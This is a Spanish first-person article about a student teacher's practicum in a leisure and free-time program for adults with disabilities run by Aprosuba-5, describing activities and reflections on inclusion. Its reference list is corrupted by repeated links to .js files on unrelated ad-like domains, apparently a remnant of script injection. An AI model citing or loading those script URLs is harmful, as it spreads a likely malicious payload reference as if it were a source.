APRENDIENDO A SER UNO MÁS… (OCIO Y TIEMPO LIBRE EN PERSONAS CON DISCAPACIDAD)

Autora: María Carpintero Calderón

              En estas líneas que escribo me gustaría plasmar mi experiencia en las prácticas que he realizado en el programa de ocio y tiempo libre de Aprosuba-5 de Jerez de los Caballeros. Aunque resulte un tópico, mi valoración general ha sido muy positiva, no solo por la relación que he entablado con todos ellos, sino por lo mucho que he aprendido y, sobre todo, por el cambio de pensamiento que ellos me han generado.

             Quiero decir que terminé la diplomatura de Maestro Especialista en Educación Especial en junio de 2010 y siempre mi campo de visión de cara al futuro profesional estaba enfocado al trabajo con niños, quizás porque veía el trabajo con adultos muy monótono y poco satisfactorio. Gracias a un curso de monitor de ocio y tiempo libre que hice este verano llegué a estas personas.

             El primer día no estaba muy entusiasmada, por lo que acabo de decir, pero me llevé una buena sensación desde el primer momento. Sí que tengo que reconocer que llegué un poco aturdida, algo normal, porque yo era el elemento novedoso y todos querían que les prestara atención. Desde el momento en el que me presenté me acogieron como una más del grupo, porque estos chicos y chicas que acuden al programa de ocio y tiempo libre son un grupo, una especie de “pandilla”, que se reúnen por las tardes para pasar el tiempo y aprovecharlo como cualquier grupo de chicos y chicas.

             Como acabo de decir, me integraron en su grupo desde el primer momento, algo que pienso que no ocurriría con tanta facilidad entre personas sin discapacidad o si la situación fuera al revés: un grupo de personas sin discapacidad y una persona con discapacidad que llega al grupo.

             Algo que me llamó la atención, y que me gustaría señalar, es que no se hace distinción entre monitor y alumno, por lo que tengo que reconocer la profesionalidad del monitor debido a la tarea que hace con estos chicos y la habilidad que tiene para tratarlos como si fueran un grupo de amigos, cosa que ellos captan y se palpa en el ambiente que se crea. Obviamente, el monitor decide en algunos aspectos o encauza determinadas situaciones.

             Uno de los objetivos principales de este programa de ocio y tiempo libre es que los alumnos decidan qué quieren hacer en su tiempo libre, porque, aunque parezca absurdo, ellos no están acostumbrados a decidir por ellos mismos, ya que la mayoría de las veces son las familias las que deciden en su lugar.

             Este programa es de lunes a jueves, aunque yo solo asistía los lunes y los martes. Los lunes hacíamos actividades con el ordenador, manualidades, juegos de mesa etc. y una vez que ellos ya se cansaban, íbamos a tomarnos algo todos juntos a una cafetería y los martes íbamos a deporte. Ellos los miércoles iban al cine a Zafra y lo jueves a la piscina climatizada a Badajoz.

             De todas las actividades que he realizado con ellos, me gustaría plasmar la experiencia que tuve en unas jornadas de patinaje por la integración. En estas jornadas les enseñaron a patinar y le entregaron un diploma por haber participado. Algo que me hizo pensar de estas jornadas es la sinceridad que caracteriza a  estas personas. El hecho de ponerse los patines y que le entregaran un diploma les hizo mucha ilusión, pero igual que a cualquiera, porque a mí misma me hizo muchísima ilusión y me lo pasé genial, pero la diferencia es que a ellos no les da pudor reconocerlo y demostrarlo.

             La sensación que me llevo de estas prácticas es que el ocio y el tiempo libre, algo que nosotros vemos como secundario, es primordial para las personas con discapacidad porque ellos tienen los mismos derechos y necesidades que cualquiera. Por eso, este programa que lleva Aprosuba-5 es tan importante: el hecho de hacer deporte, tomarse un café, ir al cine etc. son pasos que les permiten acercarse cada vez más a la gran meta llamada NORMALIZACIÓN-INCLUSIÓN.

             Por último, me gustaría decir que estas personas con las que he hecho las prácticas son muy especiales. Ellos son conscientes de su discapacidad y de sus limitaciones, pero, entre todos les debemos ayudar a que se den cuenta de que también sus posibilidades son muchísimas. Muchos de estos muchachos, por la época que les tocó vivir, no saben leer y escribir, pero esto no les impide hacer las mismas actividades que el resto de los compañeros que sí lo saben; o hacer las cosas que cualquier persona hace en su vida cotidiana. Son personas a las que no les cuesta decir un “te quiero” o “qué guapa eres”, poseen una bondad enorme y más de una vez nos pueden dar alguna que otra lección al resto de la sociedad.

             Quisiera terminar el artículo con la siguiente frase: “No es la discapacidad lo que hace difícil la vida sino los pensamientos y acciones de los demás”.

 

 Bibliografía:

  • Blanco, B y otros, Alumnos con necesidades educativas especiales y adaptaciones curriculares, Madrid: MEC. 1992. 

Webgrafía:

  • http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0& www.psicopedagogia.com

Escribe tu opinion

Cuentanos lo que estas pensando ...
y oh, si quieres una imagen para mostrar con su comentario, ve a buscar un gravatar!

Tu debes estar conectado para poder comentar.